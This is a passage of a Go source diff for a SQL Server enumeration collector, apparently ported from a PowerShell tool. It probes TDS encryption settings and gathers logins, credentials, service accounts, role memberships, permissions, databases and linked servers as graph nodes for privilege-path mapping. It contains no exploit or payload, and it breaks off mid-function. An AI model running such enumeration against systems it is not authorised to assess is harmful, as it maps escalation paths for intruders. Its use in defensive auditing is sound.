+// buildPreloginPacket creates a TDS PRELOGIN packet payload
+func buildPreloginPacket() []byte {
+ // PRELOGIN options (simplified):
+ // VERSION: 0x00
+ // ENCRYPTION: 0x01
+ // INSTOPT: 0x02
+ // THREADID: 0x03
+ // MARS: 0x04
+ // TERMINATOR: 0xFF
+
+ // We'll send VERSION and ENCRYPTION options
+ var packet []byte
+
+ // Calculate offsets (header is 5 bytes per option + 1 terminator)
+ // VERSION option header (5 bytes) + ENCRYPTION option header (5 bytes) + TERMINATOR (1 byte) = 11 bytes
+ dataOffset := 11
+
+ // VERSION option header: token=0x00, offset, length=6
+ packet = append(packet, 0x00) // TOKEN_VERSION
+ packet = append(packet, byte(dataOffset>>8), byte(dataOffset)) // Offset (big-endian)
+ packet = append(packet, 0x00, 0x06) // Length = 6
+
+ // ENCRYPTION option header: token=0x01, offset, length=1
+ packet = append(packet, 0x01) // TOKEN_ENCRYPTION
+ packet = append(packet, byte((dataOffset+6)>>8), byte(dataOffset+6)) // Offset
+ packet = append(packet, 0x00, 0x01) // Length = 1
+
+ // TERMINATOR
+ packet = append(packet, 0xFF)
+
+ // VERSION data (6 bytes): major, minor, build (2 bytes), sub-build (2 bytes)
+ // Use SQL Server 2019 version format
+ packet = append(packet, 0x0F, 0x00, 0x07, 0xD0, 0x00, 0x00) // 15.0.2000.0
+
+ // ENCRYPTION data (1 byte): 0x00 = ENCRYPT_OFF, 0x01 = ENCRYPT_ON, 0x02 = ENCRYPT_NOT_SUP, 0x03 = ENCRYPT_REQ
+ packet = append(packet, 0x00) // We don't require encryption for this test
+
+ return packet
+}
+
+// buildTDSPacket wraps payload in a TDS packet header
+func buildTDSPacket(packetType byte, payload []byte) []byte {
+ packetLen := len(payload) + 8 // 8-byte TDS header
+
+ header := []byte{
+ packetType, // Type
+ 0x01, // Status (EOM)
+ byte(packetLen >> 8), // Length (big-endian)
+ byte(packetLen),
+ 0x00, 0x00, // SPID
+ 0x00, // PacketID
+ 0x00, // Window
+ }
+
+ return append(header, payload...)
+}
+
+// parsePreloginResponse parses a TDS PRELOGIN response
+func parsePreloginResponse(data []byte) (*preloginResult, error) {
+ if len(data) < 8 {
+ return nil, fmt.Errorf("response too short")
+ }
+
+ // Skip TDS header (8 bytes)
+ payload := data[8:]
+
+ result := &preloginResult{}
+
+ // Parse PRELOGIN options
+ offset := 0
+ for offset < len(payload) {
+ if payload[offset] == 0xFF {
+ break // Terminator
+ }
+
+ if offset+5 > len(payload) {
+ break
+ }
+
+ token := payload[offset]
+ dataOffset := int(payload[offset+1])<<8 | int(payload[offset+2])
+ dataLen := int(payload[offset+3])<<8 | int(payload[offset+4])
+
+ // Adjust dataOffset relative to payload start
+ dataOffset -= 8 // Account for TDS header that we stripped
+
+ if token == 0x01 && dataLen >= 1 && dataOffset >= 0 && dataOffset < len(payload) {
+ // ENCRYPTION option
+ result.encryptionFlag = payload[dataOffset]
+ switch result.encryptionFlag {
+ case 0x00:
+ result.encryptionDesc = "ENCRYPT_OFF"
+ result.forceEncryption = false
+ case 0x01:
+ result.encryptionDesc = "ENCRYPT_ON"
+ result.forceEncryption = false
+ case 0x02:
+ result.encryptionDesc = "ENCRYPT_NOT_SUP"
+ result.forceEncryption = false
+ case 0x03:
+ result.encryptionDesc = "ENCRYPT_REQ"
+ result.forceEncryption = true
+ default:
+ result.encryptionDesc = fmt.Sprintf("UNKNOWN (0x%02X)", result.encryptionFlag)
+ }
+ }
+
+ offset += 5
+ }
+
+ return result, nil
+}
+
+// resolveInstancePort resolves the port for a named SQL Server instance using SQL Browser
+func (c *Client) resolveInstancePort(ctx context.Context) (int, error) {
+ addr := fmt.Sprintf("%s:1434", c.hostname) // SQL Browser UDP port
+
+ conn, err := net.DialTimeout("udp", addr, 5*time.Second)
+ if err != nil {
+ return 0, err
+ }
+ defer conn.Close()
+
+ conn.SetDeadline(time.Now().Add(5 * time.Second))
+
+ // Send instance query: 0x04 + instance name
+ query := append([]byte{0x04}, []byte(c.instanceName)...)
+ if _, err := conn.Write(query); err != nil {
+ return 0, err
+ }
+
+ // Read response
+ buf := make([]byte, 4096)
+ n, err := conn.Read(buf)
+ if err != nil {
+ return 0, err
+ }
+
+ // Parse response - format: 0x05 + length (2 bytes) + data
+ // Data contains key=value pairs separated by semicolons
+ response := string(buf[3:n])
+ parts := strings.Split(response, ";")
+ for i, part := range parts {
+ if strings.ToLower(part) == "tcp" && i+1 < len(parts) {
+ port, err := strconv.Atoi(parts[i+1])
+ if err == nil {
+ return port, nil
+ }
+ }
+ }
+
+ return 0, fmt.Errorf("port not found in SQL Browser response")
+}
+
+// boolToYesNo converts a boolean to "Yes" or "No"
+func boolToYesNo(b bool) string {
+ if b {
+ return "Yes"
+ }
+ return "No"
+}
+
+// boolToSuccessFail converts a boolean to "success" or "failure"
+func boolToSuccessFail(b bool) string {
+ if b {
+ return "success"
+ }
+ return "failure"
+}
+
+// Close closes the database connection
+func (c *Client) Close() error {
+ if c.db != nil {
+ return c.db.Close()
+ }
+ // PowerShell client doesn't need explicit cleanup
+ c.psClient = nil
+ c.usePowerShell = false
+ return nil
+}
+
+// CollectServerInfo gathers all information about the SQL Server
+func (c *Client) CollectServerInfo(ctx context.Context) (*types.ServerInfo, error) {
+ info := &types.ServerInfo{
+ Hostname: c.hostname,
+ InstanceName: c.instanceName,
+ Port: c.port,
+ }
+
+ // Get server properties
+ if err := c.collectServerProperties(ctx, info); err != nil {
+ return nil, fmt.Errorf("failed to collect server properties: %w", err)
+ }
+
+ // Get computer SID for ObjectIdentifier (like PowerShell does)
+ if err := c.collectComputerSID(ctx, info); err != nil {
+ // Non-fatal - fall back to hostname-based identifier
+ fmt.Printf("Warning: failed to get computer SID, using hostname: %v\n", err)
+ info.ObjectIdentifier = fmt.Sprintf("%s:%d", strings.ToLower(info.ServerName), info.Port)
+ } else {
+ // Use SID-based ObjectIdentifier like PowerShell
+ info.ObjectIdentifier = fmt.Sprintf("%s:%d", info.ComputerSID, info.Port)
+ }
+
+ // Set SQLServerName for display purposes (FQDN:Port format)
+ info.SQLServerName = fmt.Sprintf("%s:%d", info.FQDN, info.Port)
+
+ // Collect authentication mode
+ if err := c.collectAuthenticationMode(ctx, info); err != nil {
+ fmt.Printf("Warning: failed to collect auth mode: %v\n", err)
+ }
+
+ // Collect encryption settings (Force Encryption, Extended Protection)
+ if err := c.collectEncryptionSettings(ctx, info); err != nil {
+ fmt.Printf("Warning: failed to collect encryption settings: %v\n", err)
+ }
+
+ // Get service accounts
+ c.logVerbose("Collecting service account information from %s", c.serverInstance)
+ if err := c.collectServiceAccounts(ctx, info); err != nil {
+ fmt.Printf("Warning: failed to collect service accounts: %v\n", err)
+ }
+
+ // Get server-level credentials
+ c.logVerbose("Enumerating credentials...")
+ if err := c.collectCredentials(ctx, info); err != nil {
+ fmt.Printf("Warning: failed to collect credentials: %v\n", err)
+ }
+
+ // Get proxy accounts
+ c.logVerbose("Enumerating SQL Agent proxy accounts...")
+ if err := c.collectProxyAccounts(ctx, info); err != nil {
+ fmt.Printf("Warning: failed to collect proxy accounts: %v\n", err)
+ }
+
+ // Get server principals
+ c.logVerbose("Enumerating server principals...")
+ principals, err := c.collectServerPrincipals(ctx, info)
+ if err != nil {
+ return nil, fmt.Errorf("failed to collect server principals: %w", err)
+ }
+ info.ServerPrincipals = principals
+ c.logVerbose("Checking for inherited high-privilege permissions through role memberships")
+
+ // Get credential mappings for logins
+ if err := c.collectLoginCredentialMappings(ctx, principals, info); err != nil {
+ fmt.Printf("Warning: failed to collect login credential mappings: %v\n", err)
+ }
+
+ // Get databases
+ databases, err := c.collectDatabases(ctx, info)
+ if err != nil {
+ return nil, fmt.Errorf("failed to collect databases: %w", err)
+ }
+
+ // Collect database-scoped credentials for each database
+ for i := range databases {
+ if err := c.collectDBScopedCredentials(ctx, &databases[i]); err != nil {
+ fmt.Printf("Warning: failed to collect DB-scoped credentials for %s: %v\n", databases[i].Name, err)
+ }
+ }
+ info.Databases = databases
+
+ // Get linked servers
+ c.logVerbose("Enumerating linked servers...")
+ linkedServers, err := c.collectLinkedServers(ctx)
+ if err != nil {
+ // Non-fatal - just log and continue
+ fmt.Printf("Warning: failed to collect linked servers: %v\n", err)
+ }
+ info.LinkedServers = linkedServers
+
+ // Print discovered linked servers
+ // Note: linkedServers may contain duplicates due to multiple login mappings per server
+ // Deduplicate by Name for display purposes
+ if len(linkedServers) > 0 {
+ // Build a map of unique linked servers by Name
+ uniqueServers := make(map[string]types.LinkedServer)
+ for _, ls := range linkedServers {
+ if _, exists := uniqueServers[ls.Name]; !exists {
+ uniqueServers[ls.Name] = ls
+ }
+ }
+
+ fmt.Printf("Discovered %d linked server(s):\n", len(uniqueServers))
+
+ // Print in consistent order (sorted by name)
+ var serverNames []string
+ for name := range uniqueServers {
+ serverNames = append(serverNames, name)
+ }
+ sort.Strings(serverNames)
+
+ for _, name := range serverNames {
+ ls := uniqueServers[name]
+ fmt.Printf(" %s -> %s\n", info.Hostname, ls.Name)
+
+ // Show skip message immediately after each server (matching PowerShell behavior)
+ if !c.collectFromLinkedServers {
+ fmt.Printf(" Skipping linked server enumeration (use -CollectFromLinkedServers to enable collection)\n")
+ }
+
+ // Show detailed info only in verbose mode
+ c.logVerbose(" Name: %s", ls.Name)
+ c.logVerbose(" DataSource: %s", ls.DataSource)
+ c.logVerbose(" Provider: %s", ls.Provider)
+ c.logVerbose(" Product: %s", ls.Product)
+ c.logVerbose(" IsRemoteLoginEnabled: %v", ls.IsRemoteLoginEnabled)
+ c.logVerbose(" IsRPCOutEnabled: %v", ls.IsRPCOutEnabled)
+ c.logVerbose(" IsDataAccessEnabled: %v", ls.IsDataAccessEnabled)
+ c.logVerbose(" IsSelfMapping: %v", ls.IsSelfMapping)
+ if ls.LocalLogin != "" {
+ c.logVerbose(" LocalLogin: %s", ls.LocalLogin)
+ }
+ if ls.RemoteLogin != "" {
+ c.logVerbose(" RemoteLogin: %s", ls.RemoteLogin)
+ }
+ if ls.Catalog != "" {
+ c.logVerbose(" Catalog: %s", ls.Catalog)
+ }
+ }
+ } else {
+ c.logVerbose("No linked servers found")
+ }
+
+ c.logVerbose("Processing enabled domain principals with CONNECT SQL permission")
+ c.logVerbose("Creating server principal nodes")
+ c.logVerbose("Creating database principal nodes")
+ c.logVerbose("Creating linked server nodes")
+ c.logVerbose("Creating domain principal nodes")
+
+ return info, nil
+}
+
+// collectServerProperties gets basic server information
+func (c *Client) collectServerProperties(ctx context.Context, info *types.ServerInfo) error {
+ query := `
+ SELECT
+ SERVERPROPERTY('ServerName') AS ServerName,
+ SERVERPROPERTY('MachineName') AS MachineName,
+ SERVERPROPERTY('InstanceName') AS InstanceName,
+ SERVERPROPERTY('ProductVersion') AS ProductVersion,
+ SERVERPROPERTY('ProductLevel') AS ProductLevel,
+ SERVERPROPERTY('Edition') AS Edition,
+ SERVERPROPERTY('IsClustered') AS IsClustered,
+ @@VERSION AS FullVersion
+ `
+
+ row := c.DBW().QueryRowContext(ctx, query)
+
+ var serverName, machineName, productVersion, productLevel, edition, fullVersion sql.NullString
+ var instanceName sql.NullString
+ var isClustered sql.NullInt64
+
+ err := row.Scan(&serverName, &machineName, &instanceName, &productVersion,
+ &productLevel, &edition, &isClustered, &fullVersion)
+ if err != nil {
+ return err
+ }
+
+ info.ServerName = serverName.String
+ if info.Hostname == "" {
+ info.Hostname = machineName.String
+ }
+ if instanceName.Valid {
+ info.InstanceName = instanceName.String
+ }
+ info.VersionNumber = productVersion.String
+ info.ProductLevel = productLevel.String
+ info.Edition = edition.String
+ info.Version = fullVersion.String
+ info.IsClustered = isClustered.Int64 == 1
+
+ // Try to get FQDN
+ if fqdn, err := net.LookupAddr(info.Hostname); err == nil && len(fqdn) > 0 {
+ info.FQDN = strings.TrimSuffix(fqdn[0], ".")
+ } else {
+ info.FQDN = info.Hostname
+ }
+
+ return nil
+}
+
+// collectComputerSID gets the computer account's SID from Active Directory
+// This is used to generate ObjectIdentifiers that match PowerShell's format
+func (c *Client) collectComputerSID(ctx context.Context, info *types.ServerInfo) error {
+ // Method 1: Try to get the computer SID by querying for logins that match the computer account
+ // The computer account login will have a SID like S-1-5-21-xxx-xxx-xxx-xxx
+ query := `
+ SELECT TOP 1
+ CONVERT(VARCHAR(85), sid, 1) AS sid
+ FROM sys.server_principals
+ WHERE type_desc = 'WINDOWS_LOGIN'
+ AND name LIKE '%$'
+ AND name LIKE '%' + CAST(SERVERPROPERTY('MachineName') AS VARCHAR(128)) + '$'
+ `
+
+ var computerSID sql.NullString
+ err := c.DBW().QueryRowContext(ctx, query).Scan(&computerSID)
+ if err == nil && computerSID.Valid && computerSID.String != "" {
+ // Convert hex SID to string format
+ sidStr := convertHexSIDToString(computerSID.String)
+ if sidStr != "" {
+ info.ComputerSID = sidStr
+ c.logVerbose("Found computer SID from computer account login: %s", sidStr)
+ return nil
+ }
+ }
+
+ // Method 2: Try to find any computer account login (ends with $)
+ query = `
+ SELECT TOP 1
+ CONVERT(VARCHAR(85), sid, 1) AS sid,
+ name
+ FROM sys.server_principals
+ WHERE type_desc = 'WINDOWS_LOGIN'
+ AND name LIKE '%$'
+ AND sid IS NOT NULL
+ AND LEN(CONVERT(VARCHAR(85), sid, 1)) > 10
+ ORDER BY principal_id
+ `
+
+ var sid, name sql.NullString
+ err = c.DBW().QueryRowContext(ctx, query).Scan(&sid, &name)
+ if err == nil && sid.Valid && sid.String != "" {
+ sidStr := convertHexSIDToString(sid.String)
+ if sidStr != "" && strings.HasPrefix(sidStr, "S-1-5-21-") {
+ // This is a domain computer account - extract domain SID and try to construct our computer SID
+ sidParts := strings.Split(sidStr, "-")
+ if len(sidParts) >= 8 {
+ // Domain SID is S-1-5-21-X-Y-Z (first 7 parts)
+ info.DomainSID = strings.Join(sidParts[:7], "-")
+ c.logVerbose("Found domain SID from computer account: %s", info.DomainSID)
+ }
+ }
+ }
+
+ // Method 3: Extract domain SID from any Windows login/group and use LDAP later for computer SID
+ if info.DomainSID == "" {
+ query = `
+ SELECT TOP 1
+ CONVERT(VARCHAR(85), sid, 1) AS sid,
+ name
+ FROM sys.server_principals
+ WHERE type_desc IN ('WINDOWS_LOGIN', 'WINDOWS_GROUP')
+ AND sid IS NOT NULL
+ AND LEN(CONVERT(VARCHAR(85), sid, 1)) > 10
+ ORDER BY principal_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err == nil {
+ defer rows.Close()
+ for rows.Next() {
+ var sid, name sql.NullString
+ if err := rows.Scan(&sid, &name); err != nil {
+ continue
+ }
+
+ if sid.Valid && sid.String != "" {
+ sidStr := convertHexSIDToString(sid.String)
+ if sidStr == "" || !strings.HasPrefix(sidStr, "S-1-5-21-") {
+ continue
+ }
+
+ // If it's a computer account (ends with $), use its SID directly
+ if strings.HasSuffix(name.String, "$") {
+ info.ComputerSID = sidStr
+ c.logVerbose("Found computer SID from alternate computer login: %s", sidStr)
+ return nil
+ }
+
+ // Extract domain SID from this principal
+ sidParts := strings.Split(sidStr, "-")
+ if len(sidParts) >= 8 {
+ info.DomainSID = strings.Join(sidParts[:7], "-")
+ c.logVerbose("Found domain SID from Windows principal %s: %s", name.String, info.DomainSID)
+ break
+ }
+ }
+ }
+ }
+ }
+
+ // If we have a domain SID, the collector will try to resolve the computer SID via LDAP
+ // For now, return an error so the caller knows to try LDAP resolution
+ if info.ComputerSID == "" {
+ if info.DomainSID != "" {
+ return fmt.Errorf("could not determine computer SID from SQL Server, will try LDAP (domain SID: %s)", info.DomainSID)
+ }
+ return fmt.Errorf("could not determine computer SID")
+ }
+
+ return nil
+}
+
+// collectServerPrincipals gets all server-level principals (logins and server roles)
+func (c *Client) collectServerPrincipals(ctx context.Context, serverInfo *types.ServerInfo) ([]types.ServerPrincipal, error) {
+ query := `
+ SELECT
+ p.principal_id,
+ p.name,
+ p.type_desc,
+ p.is_disabled,
+ p.is_fixed_role,
+ p.create_date,
+ p.modify_date,
+ p.default_database_name,
+ CONVERT(VARCHAR(85), p.sid, 1) AS sid,
+ p.owning_principal_id
+ FROM sys.server_principals p
+ WHERE p.type IN ('S', 'U', 'G', 'R', 'C', 'K')
+ ORDER BY p.principal_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+
+ var principals []types.ServerPrincipal
+
+ for rows.Next() {
+ var p types.ServerPrincipal
+ var defaultDB, sid sql.NullString
+ var owningPrincipalID sql.NullInt64
+ var isDisabled, isFixedRole sql.NullBool
+
+ err := rows.Scan(
+ &p.PrincipalID,
+ &p.Name,
+ &p.TypeDescription,
+ &isDisabled,
+ &isFixedRole,
+ &p.CreateDate,
+ &p.ModifyDate,
+ &defaultDB,
+ &sid,
+ &owningPrincipalID,
+ )
+ if err != nil {
+ return nil, err
+ }
+
+ p.IsDisabled = isDisabled.Bool
+ p.IsFixedRole = isFixedRole.Bool
+ p.DefaultDatabaseName = defaultDB.String
+ // Convert hex SID to standard S-1-5-21-... format
+ p.SecurityIdentifier = convertHexSIDToString(sid.String)
+ p.SQLServerName = serverInfo.SQLServerName
+
+ if owningPrincipalID.Valid {
+ p.OwningPrincipalID = int(owningPrincipalID.Int64)
+ }
+
+ // Determine if this is an AD principal
+ // Match PowerShell logic: must be WINDOWS_LOGIN or WINDOWS_GROUP, and name must contain backslash
+ // but NOT be NT SERVICE\*, NT AUTHORITY\*, BUILTIN\*, or MACHINENAME\*
+ isWindowsType := p.TypeDescription == "WINDOWS_LOGIN" || p.TypeDescription == "WINDOWS_GROUP"
+ hasBackslash := strings.Contains(p.Name, "\\")
+ isNTService := strings.HasPrefix(strings.ToUpper(p.Name), "NT SERVICE\\")
+ isNTAuthority := strings.HasPrefix(strings.ToUpper(p.Name), "NT AUTHORITY\\")
+ isBuiltin := strings.HasPrefix(strings.ToUpper(p.Name), "BUILTIN\\")
+ // Check if it's a local machine account (MACHINENAME\*)
+ machinePrefix := strings.ToUpper(serverInfo.Hostname) + "\\"
+ if strings.Contains(serverInfo.Hostname, ".") {
+ // Extract just the machine name from FQDN
+ machinePrefix = strings.ToUpper(strings.Split(serverInfo.Hostname, ".")[0]) + "\\"
+ }
+ isLocalMachine := strings.HasPrefix(strings.ToUpper(p.Name), machinePrefix)
+
+ p.IsActiveDirectoryPrincipal = isWindowsType && hasBackslash &&
+ !isNTService && !isNTAuthority && !isBuiltin && !isLocalMachine
+
+ // Generate object identifier: Name@ServerObjectIdentifier
+ p.ObjectIdentifier = fmt.Sprintf("%s@%s", p.Name, serverInfo.ObjectIdentifier)
+
+ principals = append(principals, p)
+ }
+
+ // Resolve ownership - set OwningObjectIdentifier based on OwningPrincipalID
+ principalMap := make(map[int]*types.ServerPrincipal)
+ for i := range principals {
+ principalMap[principals[i].PrincipalID] = &principals[i]
+ }
+ for i := range principals {
+ if principals[i].OwningPrincipalID > 0 {
+ if owner, ok := principalMap[principals[i].OwningPrincipalID]; ok {
+ principals[i].OwningObjectIdentifier = owner.ObjectIdentifier
+ }
+ }
+ }
+
+ // Get role memberships for each principal
+ if err := c.collectServerRoleMemberships(ctx, principals, serverInfo); err != nil {
+ return nil, err
+ }
+
+ // Get permissions for each principal
+ if err := c.collectServerPermissions(ctx, principals, serverInfo); err != nil {
+ return nil, err
+ }
+
+ return principals, nil
+}
+
+// collectServerRoleMemberships gets role memberships for server principals
+func (c *Client) collectServerRoleMemberships(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error {
+ query := `
+ SELECT
+ rm.member_principal_id,
+ rm.role_principal_id,
+ r.name AS role_name
+ FROM sys.server_role_members rm
+ JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
+ ORDER BY rm.member_principal_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ // Build a map of principal ID to index for quick lookup
+ principalMap := make(map[int]int)
+ for i, p := range principals {
+ principalMap[p.PrincipalID] = i
+ }
+
+ for rows.Next() {
+ var memberID, roleID int
+ var roleName string
+
+ if err := rows.Scan(&memberID, &roleID, &roleName); err != nil {
+ return err
+ }
+
+ if idx, ok := principalMap[memberID]; ok {
+ membership := types.RoleMembership{
+ ObjectIdentifier: fmt.Sprintf("%s@%s", roleName, serverInfo.ObjectIdentifier),
+ Name: roleName,
+ PrincipalID: roleID,
+ }
+ principals[idx].MemberOf = append(principals[idx].MemberOf, membership)
+ }
+
+ // Also track members for role principals
+ if idx, ok := principalMap[roleID]; ok {
+ memberName := ""
+ if memberIdx, ok := principalMap[memberID]; ok {
+ memberName = principals[memberIdx].Name
+ }
+ principals[idx].Members = append(principals[idx].Members, memberName)
+ }
+ }
+
+ // Add implicit public role membership for all logins
+ // SQL Server has implicit membership in public role for all logins
+ publicRoleOID := fmt.Sprintf("public@%s", serverInfo.ObjectIdentifier)
+ for i := range principals {
+ // Only add for login types, not for roles
+ if principals[i].TypeDescription != "SERVER_ROLE" {
+ // Check if already a member of public
+ hasPublic := false
+ for _, m := range principals[i].MemberOf {
+ if m.Name == "public" {
+ hasPublic = true
+ break
+ }
+ }
+ if !hasPublic {
+ membership := types.RoleMembership{
+ ObjectIdentifier: publicRoleOID,
+ Name: "public",
+ PrincipalID: 2, // public role always has principal_id = 2 at server level
+ }
+ principals[i].MemberOf = append(principals[i].MemberOf, membership)
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectServerPermissions gets explicit permissions for server principals
+func (c *Client) collectServerPermissions(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error {
+ query := `
+ SELECT
+ p.grantee_principal_id,
+ p.permission_name,
+ p.state_desc,
+ p.class_desc,
+ p.major_id,
+ COALESCE(pr.name, '') AS grantor_name
+ FROM sys.server_permissions p
+ LEFT JOIN sys.server_principals pr ON p.major_id = pr.principal_id AND p.class_desc = 'SERVER_PRINCIPAL'
+ WHERE p.state_desc IN ('GRANT', 'GRANT_WITH_GRANT_OPTION', 'DENY')
+ ORDER BY p.grantee_principal_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ // Build a map of principal ID to index
+ principalMap := make(map[int]int)
+ for i, p := range principals {
+ principalMap[p.PrincipalID] = i
+ }
+
+ for rows.Next() {
+ var granteeID, majorID int
+ var permName, stateDesc, classDesc, grantorName string
+
+ if err := rows.Scan(&granteeID, &permName, &stateDesc, &classDesc, &majorID, &grantorName); err != nil {
+ return err
+ }
+
+ if idx, ok := principalMap[granteeID]; ok {
+ perm := types.Permission{
+ Permission: permName,
+ State: stateDesc,
+ ClassDesc: classDesc,
+ }
+
+ // If permission is on a principal, set target info
+ if classDesc == "SERVER_PRINCIPAL" && majorID > 0 {
+ perm.TargetPrincipalID = majorID
+ perm.TargetName = grantorName
+ if targetIdx, ok := principalMap[majorID]; ok {
+ perm.TargetObjectIdentifier = principals[targetIdx].ObjectIdentifier
+ }
+ }
+
+ principals[idx].Permissions = append(principals[idx].Permissions, perm)
+ }
+ }
+
+ // Add predefined permissions for fixed server roles that aren't handled by createFixedRoleEdges
+ // These are implicit permissions that aren't stored in sys.server_permissions
+ // NOTE: sysadmin and securityadmin permissions are NOT added here because
+ // createFixedRoleEdges already handles edge creation for those roles by name
+ fixedServerRolePermissions := map[string][]string{
+ // sysadmin - handled by createFixedRoleEdges, don't add CONTROL SERVER here
+ // securityadmin - handled by createFixedRoleEdges, don't add ALTER ANY LOGIN here
+ "##MS_LoginManager##": {"ALTER ANY LOGIN"},
+ "##MS_DatabaseConnector##": {"CONNECT ANY DATABASE"},
+ }
+
+ for i := range principals {
+ if principals[i].IsFixedRole {
+ if perms, ok := fixedServerRolePermissions[principals[i].Name]; ok {
+ for _, permName := range perms {
+ // Check if permission already exists (skip duplicates)
+ exists := false
+ for _, existingPerm := range principals[i].Permissions {
+ if existingPerm.Permission == permName {
+ exists = true
+ break
+ }
+ }
+ if !exists {
+ perm := types.Permission{
+ Permission: permName,
+ State: "GRANT",
+ ClassDesc: "SERVER",
+ }
+ principals[i].Permissions = append(principals[i].Permissions, perm)
+ }
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectDatabases gets all accessible databases and their principals
+func (c *Client) collectDatabases(ctx context.Context, serverInfo *types.ServerInfo) ([]types.Database, error) {
+ query := `
+ SELECT
+ d.database_id,
+ d.name,
+ d.owner_sid,
+ SUSER_SNAME(d.owner_sid) AS owner_name,
+ d.create_date,
+ d.compatibility_level,
+ d.collation_name,
+ d.is_read_only,
+ d.is_trustworthy_on,
+ d.is_encrypted
+ FROM sys.databases d
+ WHERE d.state = 0 -- ONLINE
+ ORDER BY d.database_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+
+ var databases []types.Database
+
+ for rows.Next() {
+ var db types.Database
+ var ownerSID []byte
+ var ownerName, collation sql.NullString
+
+ err := rows.Scan(
+ &db.DatabaseID,
+ &db.Name,
+ &ownerSID,
+ &ownerName,
+ &db.CreateDate,
+ &db.CompatibilityLevel,
+ &collation,
+ &db.IsReadOnly,
+ &db.IsTrustworthy,
+ &db.IsEncrypted,
+ )
+ if err != nil {
+ return nil, err
+ }
+
+ db.OwnerLoginName = ownerName.String
+ db.CollationName = collation.String
+ db.SQLServerName = serverInfo.SQLServerName
+ // Database ObjectIdentifier format: ServerObjectIdentifier\DatabaseName (like PowerShell)
+ db.ObjectIdentifier = fmt.Sprintf("%s\\%s", serverInfo.ObjectIdentifier, db.Name)
+
+ // Find owner principal ID
+ for _, p := range serverInfo.ServerPrincipals {
+ if p.Name == db.OwnerLoginName {
+ db.OwnerPrincipalID = p.PrincipalID
+ db.OwnerObjectIdentifier = p.ObjectIdentifier
+ break
+ }
+ }
+
+ databases = append(databases, db)
+ }
+
+ // Collect principals for each database
+ // Only keep databases where we successfully collected principals (matching PowerShell behavior)
+ var successfulDatabases []types.Database
+ for i := range databases {
+ c.logVerbose("Processing database: %s", databases[i].Name)
+ principals, err := c.collectDatabasePrincipals(ctx, &databases[i], serverInfo)
+ if err != nil {
+ fmt.Printf("Warning: failed to collect principals for database %s: %v\n", databases[i].Name, err)
+ // PowerShell doesn't add databases where it can't access principals,
+ // so we skip them here to match that behavior
+ continue
+ }
+ databases[i].DatabasePrincipals = principals
+ successfulDatabases = append(successfulDatabases, databases[i])
+ }
+
+ return successfulDatabases, nil
+}
+
+// collectDatabasePrincipals gets all principals in a specific database
+func (c *Client) collectDatabasePrincipals(ctx context.Context, db *types.Database, serverInfo *types.ServerInfo) ([]types.DatabasePrincipal, error) {
+ // Query all principals using fully-qualified table name
+ // The USE statement doesn't always work properly with go-mssqldb
+ query := fmt.Sprintf(`
+ SELECT
+ p.principal_id,
+ p.name,
+ p.type_desc,
+ ISNULL(p.create_date, '1900-01-01') as create_date,
+ ISNULL(p.modify_date, '1900-01-01') as modify_date,
+ ISNULL(p.is_fixed_role, 0) as is_fixed_role,
+ p.owning_principal_id,
+ p.default_schema_name,
+ p.sid
+ FROM [%s].sys.database_principals p
+ ORDER BY p.principal_id
+ `, db.Name)
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+
+ var principals []types.DatabasePrincipal
+ for rows.Next() {
+ var p types.DatabasePrincipal
+ var owningPrincipalID sql.NullInt64
+ var defaultSchema sql.NullString
+ var sid []byte
+ var isFixedRole sql.NullBool
+
+ err := rows.Scan(
+ &p.PrincipalID,
+ &p.Name,
+ &p.TypeDescription,
+ &p.CreateDate,
+ &p.ModifyDate,
+ &isFixedRole,
+ &owningPrincipalID,
+ &defaultSchema,
+ &sid,
+ )
+ if err != nil {
+ return nil, err
+ }
+
+ p.IsFixedRole = isFixedRole.Bool
+ p.DefaultSchemaName = defaultSchema.String
+ p.DatabaseName = db.Name
+ p.SQLServerName = serverInfo.SQLServerName
+
+ if owningPrincipalID.Valid {
+ p.OwningPrincipalID = int(owningPrincipalID.Int64)
+ }
+
+ // Generate object identifier: Name@ServerObjectIdentifier\DatabaseName (like PowerShell)
+ p.ObjectIdentifier = fmt.Sprintf("%s@%s\\%s", p.Name, serverInfo.ObjectIdentifier, db.Name)
+
+ principals = append(principals, p)
+ }
+
+ // Link database users to server logins using SQL join (like PowerShell does)
+ // This is more accurate than name/SID matching
+ if err := c.linkDatabaseUsersToServerLogins(ctx, principals, db, serverInfo); err != nil {
+ // Non-fatal - continue without login mapping
+ fmt.Printf("Warning: failed to link database users to server logins for %s: %v\n", db.Name, err)
+ }
+
+ // Resolve ownership - set OwningObjectIdentifier based on OwningPrincipalID
+ principalMap := make(map[int]*types.DatabasePrincipal)
+ for i := range principals {
+ principalMap[principals[i].PrincipalID] = &principals[i]
+ }
+ for i := range principals {
+ if principals[i].OwningPrincipalID > 0 {
+ if owner, ok := principalMap[principals[i].OwningPrincipalID]; ok {
+ principals[i].OwningObjectIdentifier = owner.ObjectIdentifier
+ }
+ }
+ }
+
+ // Get role memberships
+ if err := c.collectDatabaseRoleMemberships(ctx, principals, db, serverInfo); err != nil {
+ return nil, err
+ }
+
+ // Get permissions
+ if err := c.collectDatabasePermissions(ctx, principals, db, serverInfo); err != nil {
+ return nil, err
+ }
+
+ return principals, nil
+}
+
+// linkDatabaseUsersToServerLogins links database users to their server logins using SID join
+// This is the same approach PowerShell uses and is more accurate than name matching
+func (c *Client) linkDatabaseUsersToServerLogins(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error {
+ // Build a map of server logins by principal_id for quick lookup
+ serverLoginMap := make(map[int]*types.ServerPrincipal)
+ for i := range serverInfo.ServerPrincipals {
